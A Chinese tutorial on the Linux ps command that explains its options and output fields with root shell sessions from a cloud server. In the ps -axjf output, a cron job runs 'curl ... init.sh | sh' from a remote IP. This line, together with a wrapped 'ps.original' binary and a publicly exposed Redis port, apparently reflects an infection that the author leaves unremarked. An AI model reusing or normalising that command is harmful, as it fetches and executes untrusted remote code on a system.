当前位置:   article > 正文

Linux命令 - ps(process status)进程管理、实用查询组合

Linux命令 - ps(process status)进程管理、实用查询组合

    ps(Process Status)是linux的进程管理命令,但是只是执行ps命令这一个瞬间(快照)的进程状态。 说到Linux进程,就需要细说一下5种进程状态,如下表格:

    ps支持UNIX(参数前有一个 -,比如 -pcpu)、BSD(参数前不能有 -,比如 au)、GUN(参数前两个 -,比如 --sort)三种风格,如下:

  1. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps au --sort -pcpu
  2. USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
  3. root       575  0.0  0.0 110088   132 ttyS0    Ss+  Jan21   0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
  4. root      1306  0.0  0.0 115436   448 tty1     Ss+  Jan21   0:00 -bash
  5. root      2884  0.0  0.1 115440  2040 pts/0    Ss   13:27   0:00 -bash
  6. root      8264  0.0  0.0 113176  1176 pts/0    S+   13:30   0:00 /bin/bash /usr/bin/ps au --sort -pcpu
  7. root      8265  0.0  0.1 155320  1852 pts/0    R+   13:30   0:00 ps.original au --sort -pcpu
  8. root      8266  0.0  0.0 113176   188 pts/0    R+   13:30   0:00 /bin/bash /usr/bin/ps au --sort -pcp
[root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps au --sort -pcpu
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       575  0.0  0.0 110088   132 ttyS0    Ss+  Jan21   0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
root      1306  0.0  0.0 115436   448 tty1     Ss+  Jan21   0:00 -bash
root      2884  0.0  0.1 115440  2040 pts/0    Ss   13:27   0:00 -bash
root      8264  0.0  0.0 113176  1176 pts/0    S+   13:30   0:00 /bin/bash /usr/bin/ps au --sort -pcpu
root      8265  0.0  0.1 155320  1852 pts/0    R+   13:30   0:00 ps.original au --sort -pcpu
root      8266  0.0  0.0 113176   188 pts/0    R+   13:30   0:00 /bin/bash /usr/bin/ps au --sort -pcp

ps可以使用的参数有:

kevin.li@kevindeMacBook-Pro ~ % ps --help

ps: illegal option -- -

usage: ps [-AaCcEefhjlMmrSTvwXx] [-O fmt | -o fmt] [-G gid[,gid...]]

          [-g grp[,grp...]] [-u [uid,uid...]]

          [-p pid[,pid...]] [-t tty[,tty...]] [-U user[,user...]]

       ps [-L]

命令参数:
a  显示所有进程
-a 显示同一终端下的所有程序
-A 显示所有进程
c  显示进程的真实名称
-N 反向选择
-e 等于“-A”
e  显示环境变量
f  显示程序间的关系
-H 显示树状结构
r  显示当前终端的进程
T  显示当前终端的所有程序
u  指定用户的所有进程
-au 显示较详细的资讯
-aux 显示所有包含其他使用者的行程 
-C<命令> 列出指定命令的状况
--lines<行数> 每页显示的行数
--width<字符数> 每页显示的字符数
--help 显示帮助信息
--version 显示版本显示

1、ps

  1. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -a
  2. PID TTY TIME CMD
  3. 19371 pts/0 00:00:00 ps
  4. 19372 pts/0 00:00:00 ps.original
  5. 19373 pts/0 00:00:00 ps

ps命令不带参数默认显示的字段信息说明:

  • PID:运行命令的CMD进程号;
  • TTY:命令运行的位置(终端);
  • TIME:运行命令占用CPU的时间;
  • CMD:该进程的运行命令;

2、ps VS ps a VS ps -a VS ps -A

  1. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps
  2. PID TTY TIME CMD
  3. 16110 pts/0 00:00:00 bash
  4. 17203 pts/0 00:00:00 ps
  5. 17204 pts/0 00:00:00 ps.original
  6. 17205 pts/0 00:00:00 ps
  7. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps a
  8. PID TTY STAT TIME COMMAND
  9. 575 ttyS0 Ss+ 0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
  10. 1306 tty1 Ss+ 0:00 -bash
  11. 16110 pts/0 Ss 0:00 -bash
  12. 16128 pts/0 S+ 0:00 /bin/bash /usr/bin/ps a
  13. 16129 pts/0 R+ 0:00 ps.original a
  14. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -a
  15. PID TTY TIME CMD
  16. 19371 pts/0 00:00:00 ps
  17. 19372 pts/0 00:00:00 ps.original
  18. 19373 pts/0 00:00:00 ps
  19. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -A
  20. PID TTY TIME CMD
  21. 1 ? 00:04:20 systemd
  22. 2 ? 00:00:01 kthreadd
  23. 3 ? 00:06:43 ksoftirqd/0
  24. 5 ? 00:00:00 kworker/0:0H
  25. 7 ? 00:06:21 migration/0
  26. 8 ? 00:00:00 rcu_bh
  27. 9 ? 00:11:36 rcu_sched
  28. 。。。。。。。。。。。。。。。。。。。。。省略

其中增加的ps a命令行增加 STATE,COMMOND分别为:

  • STATE:即上面表格中的当前进行的五种状态之一;
  • COMMOND:当前正在执行的命令行命令;

3、ps -ef(ps -ef | grep redis)

    常用命令将 ef 进行结合,显示环境变量和程序间的关系; 经常结合 grep过滤,查询启动的运行的程序是否已经启动,ps -ef | grep redis(查看刚运行的redis程序是否启动)

  1. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -ef
  2. UID PID PPID C STIME TTY TIME CMD
  3. root 2 0 0 Jan21 ? 00:00:01 [kthreadd]
  4. root 3 2 0 Jan21 ? 00:06:43 [ksoftirqd/0]
  5. root 5 2 0 Jan21 ? 00:00:00 [kworker/0:0H]
  6. 。。。。。。。。。。。。。。。。。。。。。。。省略
  7. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -ef| grep redis
  8. root 11162 11130 0 Jan25 ? 00:00:00 runsv redis
  9. root 11172 11162 0 Jan25 ? 00:00:00 svlogd -tt /var/log/gitlab/redis
  10. root 12910 11130 0 Jan25 ? 00:00:00 runsv redis-exporter
  11. root 12929 12910 0 Jan25 ? 00:00:00 svlogd -tt /var/log/gitlab/redis-exporter
  12. root 21627 1 0 Feb07 ? 00:03:11 ./redis-server *:6379
  13. root 30448 16110 0 22:25 pts/0 00:00:00 grep --color=auto redis

    其中 PPID、C、STIME含义分别是:

  • PPID:父进程号;
  • C:CPU使用率;
  • STIME:进程启动时的系统时间;

4、ps -ax(或 ps -aux)(或 ps -aux | grep redis

  1. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -aux
  2. USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
  3. root 1 0.0 0.1 199112 3044 ? Ss Jan21 4:21 /usr/lib/systemd/systemd --system --deserialize 16
  4. root 2 0.0 0.0 0 0 ? S Jan21 0:01 [kthreadd]
  5. root 3 0.0 0.0 0 0 ? S Jan21 6:43 [ksoftirqd/0]
  6. root 5 0.0 0.0 0 0 ? S< Jan21 0:00 [kworker/0:0H]
  7. 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 省略
  8. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -ax |grep redis
  9. 10117 pts/0 S+ 0:00 grep --color=auto redis
  10. 11162 ? Ss 0:00 runsv redis
  11. 11172 ? S 0:00 svlogd -tt /var/log/gitlab/redis
  12. 12910 ? Ss 0:00 runsv redis-exporter
  13. 12929 ? S 0:00 svlogd -tt /var/log/gitlab/redis-exporter
  14. 21627 ? Ssl 3:15 ./redis-server *:6379
  15. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -aux| grep redis
  16. root 10850 0.0 0.0 112704 972 pts/0 S+ 00:42 0:00 grep --color=auto redis
  17. root 11162 0.0 0.0 4228 80 ? Ss Jan25 0:00 runsv redis
  18. root 11172 0.0 0.0 4372 96 ? S Jan25 0:00 svlogd -tt /var/log/gitlab/redis
  19. root 12910 0.0 0.0 4228 128 ? Ss Jan25 0:00 runsv redis-exporter
  20. root 12929 0.0 0.0 4372 164 ? S Jan25 0:00 svlogd -tt /var/log/gitlab/redis-exporter
  21. root 21627 0.0 0.1 169356 2876 ? Ssl Feb07 3:15 ./redis-server *:6379

其中 %CPU、%MEM、VSZ、RSS、START分别是:

  • %CPU:进程占用的CPU百分比;
  • %MEM:进程占用的内存百分比;
  • VSZ:该进程使用的虚拟內存量(KB);
  • RSS:该进程占用的固定內存量(KB)(驻留中页的数量);
  • START:该进程被触发的启动时间;

5、ps -u | grep root(或ps -u root)(根据用户过滤进程,或者查看用户启动的进程)

  1. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -u |grep root
  2. root 575 0.0 0.0 110088 132 ttyS0 Ss+ Jan21 0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
  3. root 1306 0.0 0.0 115436 448 tty1 Ss+ Jan21 0:00 -bash
  4. root 16490 8.3 0.1 115440 2032 pts/0 Ss 01:02 0:00 -bash
  5. root 16512 0.0 0.0 113176 1180 pts/0 S+ 01:02 0:00 /bin/bash /usr/bin/ps -u
  6. root 16513 0.0 0.0 112704 972 pts/0 S+ 01:02 0:00 grep --color=auto root
  7. root 16514 0.0 0.1 155324 1860 pts/0 R+ 01:02 0:00 ps.original -u
  8. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -u root
  9. PID TTY TIME CMD
  10. 1 ? 00:04:21 systemd
  11. 2 ? 00:00:01 kthreadd
  12. 3 ? 00:06:43 ksoftirqd/0
  13. 5 ? 00:00:00 kworker/0:0H

6、ps -L 123 (根据线程号过滤)

    过滤线程可以使用该命令,但是需要查询线程号,一般会使用如: netstat -anp| grep redis 

  1. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# netstat -anp|grep redis
  2. tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN 21627/./redis-serve
  3. tcp 0 0 172.21.205.54:6379 58.221.57.233:56814 ESTABLISHED 21627/./redis-serve
  4. tcp 0 0 172.21.205.54:6379 14.215.49.111:51059 ESTABLISHED 21627/./redis-serve
  5. tcp 0 0 172.21.205.54:6379 222.184.112.192:56975 ESTABLISHED 21627/./redis-serve
  6. tcp6 0 0 :::6379 :::* LISTEN 21627/./redis-serve
  7. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -L 21627
  8. PID LWP TTY STAT TIME COMMAND
  9. 21627 21627 ? Ssl 3:16 ./redis-server *:6379
  10. 21627 21628 ? Ssl 0:00 ./redis-server *:6379
  11. 21627 21629 ? Ssl 0:00 ./redis-server *:6379
  12. 21627 21630 ? Ssl 0:00 ./redis-server *:6379

7、pstree(或 ps -axjf)(树形展示)

  1. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# pstree
  2. systemd-+-AliSecGuard---6*[{AliSecGuard}]
  3. |-AliYunDun---23*[{AliYunDun}]
  4. |-AliYunDunUpdate---5*[{AliYunDunUpdate}]
  5. |-agetty
  6. |-assist_daemon---7*[{assist_daemon}]
  7. |-atd
  8. |-auditd---{auditd}
  9. |-crond---crond-+-sendmail
  10. |-dbus-daemon
  11. |-dhclient
  12. |-login---bash
  13. |-mysqld---185*[{mysqld}]
  14. |-redis-server---3*[{redis-server}]
  15. |-rsyslogd---2*[{rsyslogd}]
  16. |-runsvdir---15*[runsv---svlogd]
  17. |-sshd---sshd---bash---pstree-+-grep
  18. | `-pstree.original
  19. |-systemd-journal
  20. |-systemd-logind
  21. |-systemd-udevd
  22. |-tuned---4*[{tuned}]
  23. `-{systemd}
  24. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -axjf
  25. PPID PID PGID SID TTY TPGID STAT UID TIME COMMAND
  26. 0 2 0 0 ? -1 S 0 0:01 [kthreadd]
  27. 1 10047 10047 10047 ? -1 Ss 0 0:06 /usr/sbin/crond -n
  28. 10047 22394 10047 10047 ? -1 S 0 0:00 \_ /usr/sbin/CROND -n
  29. 22394 22399 22399 22399 ? -1 Ss 0 0:00 \_ /bin/sh -c curl -fsSL http://195.242.111.238/cleanfda/init.sh | sh
  30. 22399 22401 22399 22399 ? -1 S 0 0:00 | \_ sh
  31. 22401 26813 22399 22399 ? -1 S 0 0:00 | \_ bash
  32. 26813 28118 22399 22399 ? -1 S 0 0:23 | \_ bash
  33. 22394 22427 10047 10047 ? -1 Z 0 0:00 \_ [sendmail] <defunct>
  34. 1 10119 10119 10119 ? -1 S<sl 0 0:46 /sbin/auditd
  35. 1 10381 10381 10381 ? -1 Ss 0 0:00 /usr/sbin/sshd -D
  36. 10381 16487 16487 16487 ? -1 Ss 0 0:00 \_ sshd: root@pts/0
  37. 16487 16490 16490 16490 pts/0 32430 Ss 0 0:00 \_ -bash
  38. 16490 32430 32430 16490 pts/0 32430 S+ 0 0:00 \_ /bin/bash /usr/bin/ps -axjf
  39. 32430 32431 32430 16490 pts/0 32430 R+ 0 0:00 \_ ps.original -axjf
  40. 32430 32432 32430 16490 pts/0 32430 R+ 0 0:00 \_ /bin/bash /usr/bin/ps -axjf

8、查看现在登陆服务器的用户信息

  ps -eo pid,user,args    还可以增加的可选项有(args, cmd, comm, command, fname, ucmd, ucomm, lstart, bsdstart 和 start

  1. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -eo pid,user,args
  2. PID USER COMMAND
  3. 1 root /usr/lib/systemd/systemd --system --deserialize 16
  4. 。。。。。。。。。。。。。。。。。。。 省略
  5. 17789 root /usr/local/share/assist-daemon/assist_daemon
  6. 18243 mysql /usr/sbin/mysqld
  7. 21627 root ./redis-server *:6379

9、查看当前CPU、内存等的使用率的状态

  • ps -aux --sort -pmem, -pcpu :按照当前的内存和cpu使用率进程排序;
  • ps -aux --sort -pmem,-pcpu | head 5 : 排序后只展示前5条;
  1. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -aux --sort -pmem,-pcpu
  2. USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
  3. mysql 18243 0.1 26.7 1953020 475472 ? Ssl Jan27 26:41 /usr/sbin/mysqld
  4. root 1206 3.6 1.6 152080 29956 ? R<sl Jan21 1135:18 /usr/local/aegis/aegis_client/aegis_11_17/AliYunDun
  5. root 333 0.0 1.0 182316 18440 ? Ss Jan21 1:15 /usr/lib/systemd/systemd-journald
  6. root 818 0.0 0.6 573884 11120 ? Ssl Jan21 3:11 /usr/bin/python -Es /usr/sbin/tuned -l -P

     由于ps命令只能查询执行ps命令瞬间(快照)时的样子,所有如果想查看实时的状态可以使用 top命令。想实现相同的效果可以结合 watch命令,定时刷新:

watch -n 3 'ps -aux -u root --sort -pmem,-pcpu'

  1. Every 1.0s: ps -ax --sort -pmem,-pcpu Sat Feb 12 01:37:37 2022
  2. PID TTY STAT TIME COMMAND
  3. 18243 ? Ssl 26:42 /usr/sbin/mysqld
  4. 1206 ? R<sl 1135:36 /usr/local/aegis/aegis_client/aegis_11_17/AliYunDun
  5. 333 ? Ss 1:15 /usr/lib/systemd/systemd-journald
  6. 818 ? Ssl 3:11 /usr/bin/python -Es /usr/sbin/tuned -l -P
  7. ............................... 省略

10、ps -C bash(或 ps -f -C bash)根据进程名称或者PID过滤

当执行ps 或者ps -ef| grep redis等时,可以知道PID即可进行过滤,其中 bash是名称

  1. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -C bash
  2. PID TTY TIME CMD
  3. 1306 tty1 00:00:00 bash
  4. 16490 pts/0 00:00:00 bash
  5. 26813 ? 00:00:00 bash
  6. 28118 ? 00:00:23 bash
  7. [root@iZ2ze4zhiwnwqxsc7wehwlZ ~]# ps -f -C bash
  8. UID PID PPID C STIME TTY TIME CMD
  9. root 1306 576 0 Jan21 tty1 00:00:00 -bash
  10. root 16490 16487 0 01:02 pts/0 00:00:00 -bash
  11. root 26813 22401 0 Feb07 ? 00:00:00 bash
  12. root 28118 26813 0 Feb07 ? 00:00:23 bash

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Guff_9hys/article/detail/969035
推荐阅读
相关标签
  

闽ICP备14008679号